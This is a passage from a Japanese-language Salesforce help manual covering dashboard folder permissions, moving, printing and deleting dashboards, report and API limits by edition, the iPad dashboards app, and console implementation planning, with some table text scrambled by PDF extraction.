ドフォルダ、非表示ダッシュボードフォルダ、または共有ダッシュボードフォ
ルダにアクセスするには、特定の権限が必要です。
次の表は、公開フォルダ、非表示フォルダ、共有フォルダという 3 種類のダッ
シュボードフォルダへのアクセスに必要な権限を示しています。
公開フォルダ

次の権限は、次の表示設定が設定されているフォルダに適用されます。
• このフォルダは、ポータルユーザを含むすべてのユーザがアクセス可能です
• このフォルダは、ポータルユーザを除き、すべてのユーザがアクセス可能で

す

参照/更新フォルダへのアク
セス権限

参照専用フォルダへのアクセ
ス権限

アクセスレベ
ル

「レポート実行」「レポート実行」参照

次の両方を実行できます。次のすべてを実行できます。新規書き込み
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管
理」

• 「ダッシュボードの管
理」
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参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

• 「すべてのデータの参照」

次のすべてを実行できます。次のすべてを実行できます。変更/削除
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管理」 • 「ダッシュボードの管理」
•• 「すべてのデータの参照」「すべてのデータの参照」

非表示フォルダ
次の権限は、次の表示設定が設定されているフォルダに適用されます。
• このフォルダはすべてのユーザから非表示となります

参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

次の両方を実行できます。次の両方を実行できます。参照
• 「レポート実行」• 「レポート実行」

• •「すべてのデータの参照」 「すべてのデータの参照」

次のすべてを実行できます。次のすべてを実行できます。新規書き込み
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管理」 • 「ダッシュボードの管理」
•• 「すべてのデータの参照」「すべてのデータの参照」

次のすべてを実行できます。次のすべてを実行できます。変更/削除
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管理」 • 「ダッシュボードの管理」
•• 「すべてのデータの参照」「すべてのデータの参照」

共有フォルダ

参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

「レポート実行」「レポート実行」参照

次の両方を実行できます。次のすべてを実行できます。新規書き込み
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管理」 • 「ダッシュボードの管理」
• 「すべてのデータの参照」
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参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

次のすべてを実行できます。次のすべてを実行できます。変更/削除
• 「レポート実行」• 「レポート実行」

• 「ダッシュボードの管理」 • 「ダッシュボードの管理」
•• 「すべてのデータの参照」「すべてのデータの参照」
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Lightning Experience でのフォルダ間のダッシュボードの移動

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「すべてのデータの参

照」

および

「ダッシュボードの管
理」

Lightning Experience で、自
分が作成したダッシュ
ボードを 1 つのフォルダか
ら別のフォルダへ移動す
る
• 「レポート実行」

および

「ダッシュボードの管
理」

Lightning Experience で、自
分が作成していないダッ
シュボードを 1 つのフォル
ダから別のフォルダへ移
動する
• 「すべてのデータの参

照」

および

「レポート実行」

および

「ダッシュボードの管
理」

組織でレポートとダッシュボードの分析フォルダの拡張共有を使用している場
合、フォルダ内に保存されたレポートとダッシュボードに誰がアクセスできる
かがフォルダによって制御されます (組織が Summer '13 Salesforce リリースより後
に作成された場合、すでに分析フォルダの拡張共有が有効になっています)。フォ
ルダ間でダッシュボードを移動することにより、ダッシュボードへのアクセス
を整理および制御できます。
1. ダッシュボードを開きます。
2. [編集] をクリックします。
3. [ ] をクリックして [プロパティ] メニューを開きます。
4. [フォルダ] で、ダッシュボードの現在のフォルダを消去して、移動先フォル

ダを入力します。
5. [プロパティ] ウィンドウで [保存] をクリックします。次に、ダッシュボード

ビルダーで、もう一度 [保存] をクリックします。
ダッシュボードが移動先フォルダに移動します。それに従ってユーザのダッシュ
ボードへのアクセス権も変更されます。
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ダッシュボードの印刷

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを印刷す
る
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ブラウザの印刷オプションを使用して、ダッシュボードを印刷します。
• ダッシュボードコンポーネントの 3 列すべてが含まれるように、用紙の向き

を横に設定して印刷します。
• 必要に応じて、列のサイズを変更し、ブラウザが付加するヘッダーやフッ

ターを削除します。

ダッシュボードの整理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ダッシュボードを簡単に使用できる状態に保つには、ダッシュボードをフォル
ダに分類し、使用しないレポートを削除します。レポートが多数ある場合、検
索項目を使用して必要なレポートを検索できます。

1. ダッシュボードの削除
必要なくなったダッシュボードは削除することをお勧めします。
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ダッシュボードの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを削除す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

他のユーザが作成した
ダッシュボードを削除す
る
• 「ダッシュボードの管

理」および「すべての
データの編集」

必要なくなったダッシュボードは削除することをお勧めします。
ダッシュボードを削除すると、その中のダッシュボードコンポーネントも削除
されます。この操作によって、ダッシュボードコンポーネントで使用するカス
タムレポートは削除されません。
削除したダッシュボードは、ごみ箱に移動されます。
Lightning Experience でダッシュボードを削除するには、ダッシュボードを開いて
[削除] をクリックします。
Salesforce Classic でダッシュボードを削除する手順は、次のとおりです。
1. [ダッシュボード] タブをクリックします。
2. [ダッシュボード一覧に戻る] をクリックします。
3. ダッシュボードが保存されているフォルダを選択します。
4. ダッシュボード名の横にある [削除] をクリックします。

ダッシュボードの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

データからダッシュボードを作成する場合、次の制限と制約に注意してくださ
い。

Salesforce レポートおよびダッシュボードの制限

Developer
Edition

Unlimited
Edition
と
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

4002,00020050なし

カスタムレポー
トタイプ
(制限は、開発状
況に関係なく、
すべてのカスタ
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Developer
Edition

Unlimited
Edition と
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

ムレポートタイプに適
用される)

1 ダッシュボードにつき 3 個ダッシュボード検索条
件

最大 3 個最大 10 個最大 5 個なし1 組織あたりの動的
ダッシュボード数

20レポートあたりの項目
検索条件数1

5レポートあたりの数式
12、 3、 4221212、 3、 4

なしレポート作成スナップ
ショット

なし2212なしダッシュボードの更新
のスケジュール設定

12、 3、 5221212、 3、 5なし

時間あたりのスケ
ジュール済みレポート
(メール送信するレポー
トの容量は最大 10

MB)。

1 これらの制限はレポートビルダーに適用されます。レポートウィザードを使用している場合、制限は 10 で
す。
2 合計で最大 200 まで。
3 オフピーク時 (ローカル時間の午後 6 時～午前 3 時) のみ。
4 希望開始時刻は 1 日 1 つに制限されます。
5 希望開始時刻は 1 日 3 つに制限されます。
Salesforce では、過去 3 か月と今月の履歴データが保持されます。
すべてのサポート対象のエディションには、Salesforce レポートおよびダッシュボードについて次の制限が適用
されます。
レポート制限

• レポートビルダープレビューでは、サマリーおよびマトリックスレポートでは最大 20 行および表形式
では最大 50 行を表示します。

5121

ダッシュボード分析



• グラフには、250 を超えるグループまたは 4,000 を超える値を含めることはできません。グラフに描画す
るグループまたは値が多すぎるというエラーメッセージが表示された場合は、レポート検索条件を調整
して、数を減らしてください。組み合わせグラフでは、すべてのグループおよび値が合計のカウント対
象となります。

• レポートでは、最大 2,000 行を表示します。すべての行を表示するには、Excel にレポートをエクスポー
トするか、表形式レポートおよびサマリーレポート用の印刷用ビューを使用します。結合レポートで
は、エクスポートは使用できず、印刷用ビューには最大 20,000 行を表示します。
– [詳細の表示] が無効な場合、サマリーおよびマトリックスレポートでは、最初の 2,000 個のグルーピ

ングが表示されます。
– マトリックスレポートでは、最大 400,000 個の集計値を表示します。
– [詳細の表示] が無効な場合、マトリックスレポートでは、横軸に最大 2,000 個のグルーピングを表示

します。400,000 個を超える集計値がある場合は、2,000 個のグルーピングの制限を満たすまで行が削
除され、集計値の数が 400,000 個を下回るまで列が削除されます。

– 2,000 を超える行を返すマトリックスレポートに詳細は表示されません。[詳細を表示] をクリックし
ても、何も起こりません。詳細を非表示にしたレポートのみを表示できます。

• 最大 5 個の総計値が Lightning Experience のレポートヘッダーに表示されます。総計値 (集計項目など) は、
レポートに表示される順番 (左から右) で表示されます。総計 (表示する場合) は常に表示されます。

• グルーピングがあるレポートを Salesforce1 で表示すると、表形式レポートに変換されます。
• デフォルトでは、レポートは 10 分後にタイムアウトします。
• 結合レポートでは、ブロックごとに最大 100 列を設定できます。結合レポートには、最大 5 ブロックを

設定できます。
• 結合レポートの各ブロックには最大 10 個のカスタム集計項目を追加できます。結合レポートには、合

計 50 個のカスタム集計項目を含めることができます。
• 結合レポートごとに最大 10 個のクロスブロックカスタム集計項目を設定できます。
• [説明] や [ソリューション詳細] など、標準ロングテキストエリア項目で絞り込む場合は、項目の先頭の

1000 文字だけが検索に使用されます。
• レポートには、リッチテキストエリアまたはロングテキストエリアの最初の 254 文字のみが表示されま

す。
• 表形式レポート、サマリーレポート、およびマトリックスレポートの集計項目では、最大 21 桁まで表

示できます。
• カスタムロングテキストエリア項目でレポートを絞り込むことはできません。
• 結合レポートでは、新しいユーザインターフェースのテーマが有効化されている必要があります。新し

いテーマのないユーザは、結合レポートの作成、編集、実行ができません。
• 売上予測レポートには、売上予測期間内に完了するように設定されている商談のみが表示されます。た

だし、売上予測分類として「売上予測から除外」に割り当てられている商談を除きます。
• Internet Explorer 6 は、結合レポートではサポートされていません。
• 値の許容範囲: 許容される最大値は、999999999999999 です。許容される最小値は、-99999999999999 です。

ダッシュボードの制限
• ダッシュボード検索条件には、最大 50 個のオプションを設定できます。デフォルトでは、10 個のオプ

ションが有効になっています。制限を引き上げる場合は、Salesforce にお問い合わせください。
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• 各ダッシュボードには、最大 20 個のコンポーネントを持たせることができます。
• バケット項目を検索条件にした絞り込みはできません。ただし、ダッシュボードページのバケット項目

で絞り込んだレポートを使用することは可能です。
• ダッシュボードのテーブルまたはグラフは、最大 20 個の写真を表示できます。
• ダッシュボードを更新するときは、少なくとも 1 分間待機する必要があります。

レポートタイプの制限
• カスタムレポートタイプには、最大 60 個のオブジェクト参照を含めることができます。たとえば、4 つ

のレポートタイプのオブジェクトリレーションの最大限度を選択すると、参照によりその他に 56 オブ
ジェクトから項目を選択できることになります。ただし、カスタムレポートタイプでレポートを実行し
ているときに、そのレポートに 20 を超えるオブジェクトの列が含まれている場合は、エラーメッセー
ジが表示されます。

• カスタムレポートタイプには、それぞれ最大 1000 項目まで追加できます。
レポート作成スナップショットの制限

• カスタムオブジェクトに挿入できる行の最大数は、2,000 個です。
• 格納できる実行の最大数は、200 個です。
• 対象項目に対応付けできるソースレポートの列の最大数は、100 個です。

検索条件の制限
カスタムテキスト項目の最初の 255 文字のみが、検索条件のためにカウントされます。

埋め込まれたレポートグラフの制限
• ページあたり 2 つのレポートグラフを使用できます。
• 高度なページレイアウトエディタからのみレポートグラフを追加できます。ミニコンソールおよび従来

のページレイアウトエディタはサポートされていません。
• ユーザは、詳細ページで 60 分ごとに 100 個までのレポートグラフを更新できます。
• 組織は、60 分ごとに 3,000 個までのレポートグラフを更新できます。

リストビューの制限
• リストビューのカスタムロングテキストエリア項目では、先頭の 255 文字だけが表示されます。

バケットおよびバケット項目の制限
• 各レポートには、最大 5 個のバケット項目を含めることができます。
• 各バケット項目には、最大 20 個のバケットを含めることができます。
• 各バケットには、最大 20 個の値を含めることができます。
• バケット項目は、バケット項目が生成されたレポートでのみ使用できます。バケットを複数のレポート

で使用するには、レポートごとに項目を作成するか、バケットに依存するオブジェクトに対して別個の
数式項目を作成します。

メモ: 以上の制限は、バケット項目の設定で許可されている [その他] の使用には適用されません。

• バケットおよびバケット項目は、外部オブジェクトを含むレポートでは使用できません。
• バケット項目のソース列にカスタムインデックスがあり、そのバケット項目で絞り込みを行った場合、

カスタムインデックスによるパフォーマンス上の利点が失われます。
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外部オブジェクトレポートの制限
レポートに外部オブジェクトが含まれる場合、結果が、完全なデータセットを反映していない可能性があ
ります。外部オブジェクトの動作はカスタムオブジェクトと似ていますが、Salesforce 組織外に保存された
データに対応付けられるという点が異なります。外部オブジェクトが含まれるレポートは、主オブジェク
トに対して最大2,000レコードを取得します。そのため、外部オブジェクトデータの取得中にコールアウト
制限に達する可能性があります。生成されるレポートの行がわずかであるかまったくない場合、より多く
の関連する外部オブジェクト行を取得するようにレポートをカスタマイズしてください。

レポートおよびダッシュボード API の制限
次の制限は、レポートおよびダッシュボード REST API と Apex 経由のレポートおよびダッシュボード API の両方
に適用されます。
• クロス条件、標準レポート条件、行制限による絞り込みは、データを絞り込む場合には使用できません。
• 履歴トレンドレポートは、マトリックスレポートでのみサポートされています。
• API では、列として選択された 100 個までの項目を含むレポートのみ処理できます。
• 最近参照した 200 個までのレポートのリストが返されます。
• 1 時間あたり 500 回までのレポートの同期実行を組織で要求できます。
• API では、一度に 20 回までのレポートの同期実行の要求をサポートしています。
• 非同期に実行された 2,000 個までのレポートインスタンスのリストが返されます。
• API では、レポートの非同期実行の結果を取得するために、一度に 200 件までの要求をサポートしています。
• 1 時間あたり 1,200 回までの非同期要求を組織で要求できます。
• レポートの非同期実行の結果は、24 時間以内に使用できます。
• API では、レポートの最初の 2,000 行までが返されます。検索条件を使用して結果を絞り込むことができま

す。
• レポートの実行時にカスタム項目の検索条件を 20 件まで追加できます。
• 1 時間あたり 200 回までのダッシュボードの更新を組織で要求できます。
• 1 時間あたり最大 5,000 個のダッシュボードの結果を組織で要求できます。

関連トピック:

レポートおよびダッシュボード: Lightning Experience で使用できない機能とその新機能

私のダッシュボードに期待するデータが表示されない理由は?
期待するデータが表示されない場合は、最新のデータに更新し、適切な実行ユーザが存在することをチェック
し、ダッシュボードのデータソースを確認します。
ダッシュボードデータが期待どおりではない場合、次の点を確認してください。
• 実行ユーザ。ユーザは実行ユーザの視点でダッシュボードを参照しています。参照している内容は、ユー

ザのアクセス権に基づいています。動的ダッシュボードでは、自分でアクセス可能な内容のみを参照でき
ます。
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• ダッシュボードの更新。古いデータが表示される場合は、[更新] をクリックしてダッシュボードを更新し
ます。

• データソース。データソース (レポート、Sコントロール、または Visualforce ページ) にダッシュボードコン
ポーネントに表示する情報が含まれていることを確認します。

ダッシュボードの実行ユーザとダッシュボードの更新についての詳細は、記事「ダッシュボードの実行ユーザ
の選択」 (ページ 5102)と「ダッシュボードデータの更新」 (ページ 5108)を参照してください。

ダッシュボードによる複雑な情報の視覚化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ダッシュボードを使用すると、レポートで収集したリアルタイムのデータに基
づいて意思決定を行うことができます。ダッシュボードを使用して、ユーザが
トレンドを把握し、数量を解明し、活動の影響を測定できるようにします。

メモ: Group Edition を使用している組織のダッシュボードは参照のみです。

1. ダッシュボードの使用開始
必要なデータが判明したら、ダッシュボードを使用して、パターンを見つ
け、常に最新の変更を把握し、知識を共有して同僚と協力してリアルタイム
で対応できるようになります。

2. iPad でのダッシュボードの使用
Salesforce Mobile Dashboards for the iPad は、Apple App Store で入手できます。これ
を使用して、外出先でも最近参照したダッシュードやフォローしているダッシュボードにアクセスできま
す。

3. ダッシュボードの一覧表示
ダッシュボード一覧には、表示可能なすべてのダッシュボードが含まれます。

関連トピック:

ダッシュボードの絞り込み
Salesforce Classic ダッシュボードを作成
ダッシュボードの使用開始
Salesforce Classic でのダッシュボードの個人別ビューの提供
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ダッシュボードの使用開始

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照お
よび更新する
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

必要なデータが判明したら、ダッシュボードを使用して、パターンを見つけ、
常に最新の変更を把握し、知識を共有して同僚と協力してリアルタイムで対応
できるようになります。
• Salesforce Platform または Salesforce Platform One ユーザライセンスを持つユーザ

は、ダッシュボードの実行ユーザも同じ種類のユーザライセンスを持ってい
れば、ダッシュボードの参照のみができます。ダッシュボードへのフルアク
セス権限がないユーザライセンスを持っているユーザは、同じ種類のライセ
ンスを持っている実行ユーザのダッシュボードのみ参照できます。さまざま
なライセンスの種類のユーザに、個別のダッシュボードを作成することを検
討してください。

• Group Edition を使用している組織のダッシュボードは参照のみです。
[ダッシュボード] タブをクリックすると、最後に表示したダッシュボードが表示
されます。ページ上部には、ダッシュボードの最終更新時刻と、ダッシュボー
ドに表示されるデータを決定する権限を持つユーザが表示されます。ダッシュ
ボードにアクセスできない場合は、フォルダの権限を確認してください。

関連トピック:

ダッシュボードによる複雑な情報の視覚化
Salesforce Classic ダッシュボードを作成
ダッシュボードデータの更新
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iPad でのダッシュボードの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Mobile Dashboards for the iPad は、Apple App Store で入手できます。これを使
用して、外出先でも最近参照したダッシュードやフォローしているダッシュボー
ドにアクセスできます。

重要:  Mobile Dashboards for iPad アプリケーションのサポートは Summer '15 を
もって終了しました。引き続きアプリケーションは使用できますが、発生
する問題に対するバグ修正や機能強化といった形で Salesforce がサポートを
提供することはありません。新しい Salesforce モバイル環境である Salesforce1

アプリケーションへの移行については、Salesforce 管理者にご相談ください。
モバイルダッシュボードアプリケーションを使用すると、オフラインや外出中
の場合も、組織のデータ、パフォーマンス、動向を常に把握できます。このア
プリケーションを使用すると、次の操作を実行できます。
• 最近参照したダッシュボードまたはフォローしているダッシュボードを参照する
• ダッシュボードを検索する
• 個々のダッシュボードコンポーネントを表示して、その値を強調表示し、それぞれのレポートをドリルダ

ウンする
• レポートビューを変更する
• 他の人にダッシュボードまたは個々のコンポーネントをメールで送信する
• ダッシュボードの Chatter フィードを参照する、およびそのフィードに投稿、コメントする
• オフラインのときに、アプリケーションで最近参照したダッシュボードおよびレポートの一部にアクセス

する

メモ: このアプリケーションでは動的ダッシュボードまたはダッシュボード検索条件をサポートしていま
せん。

Apple App Store または AppExchange から無料でこのアプリケーションをダウンロードできます。iOS 5 以上を搭載
しているすべての iPad モデルではモバイルダッシュボードアプリケーションを使用できます。このアプリケー
ションは、Salesforce Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition で使用可能です。ま
た、REST API を有効化しているすべての組織で使用可能です。
iPad から Salesforce組織にアクセスできる場合は、モバイルダッシュボードアプリケーションを使用できます。
アプリケーションを開き、Salesforceのメールとパスワードを使用してログインします。Salesforceアカウントが
ない場合でも、[デモ] をタップしてアプリケーションを操作してみることができます。

メモ:  iPad 用のダッシュボードダッシュボードアクセス権は、デフォルトで組織で利用できます。使用で
きない場合は、アプリケーションにログインできるようにするには、システム管理者がこのアクセス権
を有効化する必要があります。

Salesforce Classic Mobileクライアントアプリケーションでは、Salesforceシステム管理者がモバイル設定にタブを追
加した場合に、[ダッシュボード] タブが表示されます。
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ダッシュボードの一覧表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照お
よび更新する
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

ダッシュボード一覧には、表示可能なすべてのダッシュボードが含まれます。
1. [ダッシュボード] タブで、[ダッシュボード一覧に戻る] をクリックします。

機能強化された [レポート] タブでは、そのダッシュボードのフォルダで最近
参照されたダッシュボードの一覧が表示されます。

2. ダッシュボード一覧ページで、フォルダを選択してフォルダに保存されてい
るダッシュボードの一覧を表示するか、検索条件を使用して検索します。

3. ダッシュボード名をクリックしてダッシュボードを表示する。
4. Salesforce Classic で作業している場合は、ダッシュボード名の横にある を

クリックして、ダッシュボードを編集または削除します。

メモ: Group Edition を使用している組織のダッシュボードは参照のみで
す。

5. Chatter が有効な場合、 または をクリックして Chatter フィードでダッ
シュボードのフォローを開始または停止します。

関連トピック:

ダッシュボードによる複雑な情報の視覚化
ダッシュボードの使用開始
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iPad でのユーザへのダッシュボード表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Mobile Dashboards for iPad
設定を表示する
• 「設定・定義を参照す

る」

Mobile Dashboards for iPad
設定を変更する
• 「アプリケーションの

カスタマイズ」

Mobile Dashboards for iPad アプリケーションは、組織で自動的に有効になるため、
管理者が設定をしなくてもユーザはアプリケーションにアクセスできます。

重要:  Mobile Dashboards for iPad アプリケーションのサポートは Summer '15 を
もって終了しました。引き続きアプリケーションは使用できますが、発生
する問題に対するバグ修正や機能強化といった形で Salesforce がサポートを
提供することはありません。新しい Salesforce モバイル環境である Salesforce1

アプリケーションへの移行については、Salesforce 管理者にご相談ください。
ユーザにモバイルデバイスから Salesforce データにアクセスさせない場合は、ア
プリケーションを無効にできます。また、後で容易に再有効化できます。
Mobile Dashboards for iPad へのアクセスを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「モバイルダッシュボード」と入力

し、[モバイルダッシュボード設定] を選択します。
2. [すべてのユーザでモバイルダッシュボード iPad アプリケーションを有効化]

をオンまたはオフにします。
3. [保存] をクリックします。
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Salesforce コンソール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

Salesforce コンソールアプリケーションはタブベースのワークスペースで、これ
によりユーザは 1 つの画面で複数のレコードを管理できます。コンソールは本
質的にクリック操作やスクロール操作を最小限に抑えているため、レコードを
すばやく検索、更新、作成できます。数千ものお客様が Salesforce コンソールを
使用して、変化の速いサービスおよびセールス環境で生産性を高めています。
このコンソールは営業担当およびサービス担当にとって最適です。サポートエー
ジェントは一度に複数のアプリケーションを使用し、優先度の変化に合わせて
ケースのコンテキストを維持できます。営業担当はすべてのツールを手元に置
いて、リードの開拓、商談の成立、リレーションの管理を実行できます。
システム管理者は、コンソールをカスタマイズして、ナビゲーションタブのオ
ブジェクトから、ユーザがソフトフォンで電話を発信可能かどうかまでのすべ
てを決定できます。独自にカスタマイズ可能な内容には、ケースと知識ベース
の記事の並列表示、カスタムアクションとキーボードショートカットの作成、
Live Agent を使用した Web 経由の顧客とのチャットなどが挙げられます。
開発者はカスタムコンソールコンポーネントに関する独自のビジネスの問題の解決をサポートできるほか、
Salesforce コンソールインテグレーションツールキット API を使用してサードパーティインテグレーションを追
加できます。
コンソールアプリケーションは、Salesforce Classic および Lightning Experience で作成できます。

メモ: Lightning コンソールアプリケーションは、まだ Salesforce Classic コンソールアプリケーションと完全
に同じ機能を使用できるわけではありません。たとえば、キーボードショートカットやマクロなどの
Salesforce Classic コンソールアプリケーションの一部の機能は、Lightning コンソールアプリケーションでは
使用できません。
Salesforce Classic コンソールアプリケーションを Lightning Experience に移行することはできません。

Salesforce コンソールの実装計画
コンソールを設定する前に、コンソールの用途 (サービス用、セールス用、または独自のビジネスニーズ用)

を決定します。コンソールを使用するユーザと、コンソールユーザが最も必要とする情報について検討し
ます。
Salesforce Classic の Salesforce コンソール
Salesforce Classic の Salesforce コンソールの使用を開始します。
Lightning Experience の Salesforce コンソール
Lightning Experience で Salesforce コンソールの使用を開始します。
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Salesforce コンソールの制限事項
Salesforce コンソールの制限事項について理解します。

関連トピック:

Salesforce コンソールインテグレーションツールキット開発者ガイド

Salesforce コンソールの実装計画

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

コンソールを設定する前に、コンソールの用途 (サービス用、セールス用、また
は独自のビジネスニーズ用) を決定します。コンソールを使用するユーザと、コ
ンソールユーザが最も必要とする情報について検討します。
使用するエディションのカスタムアプリケーション制限を超えない限り、Salesforce

組織に複数のコンソールを設定できます。すでにサービス用コンソールを使用
している場合は、ライセンスを別途で購入しなくてもセールス用コンソールを
作成できます。

メモ: Lightningコンソールアプリケーションは、まだSalesforce Classicコンソー
ルアプリケーションと完全に同じ機能を使用できるわけではありません。
たとえば、キーボードショートカットやマクロなどの Salesforce Classic コン
ソールアプリケーションの一部の機能は、Lightning コンソールアプリケー
ションでは使用できません。
Salesforce ClassicコンソールアプリケーションをLightning Experienceに移行する
ことはできません。

Salesforce Classic コンソール
Service Cloud ユーザ機能ライセンスが割り当てられている場合は、アプリケーションメニューから [サンプル
コンソール] を選択してすぐに使用できるコンソールを確認し、カスタマイズできます。

Lightning Experience コンソール
Salesforce では、セールスとサービス用の標準の Lightning コンソールアプリケーションを提供しています。
これらのアプリケーションにアクセスするには、適切な機能ライセンスが割り当てられている必要があり
ます。アプリケーションランチャーに移動して、[サービスコンソール] または [セールスコンソール] をク
リックしてください。これらのアプリケーションはセールスとサービスのすべてのニーズを満たすように
設計されているだけでなく、カスタマイズも可能です。

Salesforce コンソールを計画するための質問
次の質問を確認してコンソールの実装を最大限に活用できるようにします。
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Salesforce コンソールの実装のヒント
このヒントを確認し、コンソールの実装を最大限に活用してください。

関連トピック:

Salesforce Classic の Salesforce コンソールの設定
カスタム Lightning コンソールアプリケーションの作成
Salesforce コンソールの制限事項

Salesforce コンソールを計画するための質問
次の質問を確認してコンソールの実装を最大限に活用できるようにします。
Salesforce 組織でコンソールを使用するのは誰ですか?

コンソールは、レコードの検索、更新、作成をすばやく行う必要のあるユーザ向けに設計されています。
ユーザのプロファイルがコンソールアプリケーションに割り当てられている場合、そのユーザはコンソー
ルにアクセスできます。コンソールを作成する前に、既存のユーザプロファイルのうち、コンソールアク
セスによるメリットがあるプロファイルを判別します。たとえば、サポートエージェントや電話セールス
チームに割り当てられているプロファイルなどです。プロファイルを作成したり、既存のプロファイルを
コピーしたりして、そこからユーザをコンソールに割り当てることもできます。

必要な機能ライセンスを購入しましたか?

Salesforce ユーザがコンソールを使用するには機能ライセンスが必要です。コンソールを設定した後、手動
でライセンスをユーザに割り当てることができます。

会社のコンソールアプリケーションを実装するのは誰ですか?

コンソールはアプリケーションであり、タブのグループで構成されます。タブはアプリケーション機能を
提供する 1 つの単位です。Salesforce では、セールスやサービスなどの標準アプリケーションを提供してい
ます。ユーザがアプリケーションメニューやアプリケーションランチャーから選択するカスタムアプリケー
ションとしてコンソールを作成します。会社に Salesforce でのアプリケーション作成に習熟しているユーザ
がいる場合は、そのユーザにコンソールアプリケーションの実装を依頼します。

コンソールのどのオブジェクトをユーザがアクセスできるようにしますか?

ユーザはSalesforce ClassicのナビゲーションタブやLightning Experienceのナビゲーションバーを使用して、ケー
ス、取引先、取引先責任者などのオブジェクトを選択し、そのオブジェクトのホームページを表示できま
す。ビジネスプロセスの中心として機能するオブジェクトを追加することをお勧めします。たとえば、サ
ポートエージェントのビジネスプロセスの中心は、多くの場合ケースであるため、エージェントがコンソー
ルでケースを使用できるようにします。

レコードが選択されたときに、コンソールにレコードをどう表示しますか?

コンソールには、すべてのレコードがタブとして表示されるため、ユーザは 1 つの画面でレコードをすば
やく検索、更新、および作成できます。主タブには、取引先など、作業する主な項目が表示されます。サ
ブタブには、取引先のケースや取引先責任者など、関連レコードが表示されます。
Salesforce Classic

主タブおよびサブタブとして表示するレコードを選択できます。ビジネスプロセスの中心を主タブと
し、関連項目をサブタブとします。たとえば、取引先を主タブ、ケースや取引先責任者をサブタブとし
て設定できます。ユーザがリストビューや検索結果からケースを選択した場合など、主タブまたはサブ
タブ以外でレコードが選択されたときに、そのレコードをどう表示するかを選択することもできます。
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Lightning Experience

Lightning コンソールアプリケーションでは、主タブはワークスペースタブと呼ばれます。ワークスペー
スタブおよびサブタブとして表示するレコードを指定することはできません。現在のナビゲーション
バー項目に関連付けられたリストビューからレコードが選択された場合、レコードはワークスペースタ
ブとして開きます。ワークスペースタブから開いたレコードはサブタブとして表示されます。たとえ
ば、ナビゲーションバーで取引先を選択し、リストで取引先をクリックすると、取引先はワークスペー
スタブとして開きます。その後、取引先ページで取引先責任者名をクリックすると、取引先責任者レ
コードがサブタブとして開きます。

コンソールではどのような機能を使用できますか?

Salesforce Classic

使用できる機能には、強調表示パネル、相互関係ログ、Live Agent、ナレッジサイドバー、ドメインのホ
ワイトリスト登録、リストの表示方法の選択、転送通知の設定、キーボードショートカットなどがあり
ます。
コンソールに実装できる機能についてのリストは、「Salesforce Classic のコンソールの設定可能な機能」
を参照してください。

Lightning Experience

Lightningコンソールアプリケーションのカスタマイズは、Salesforce Classicコンソールとは異なります。詳
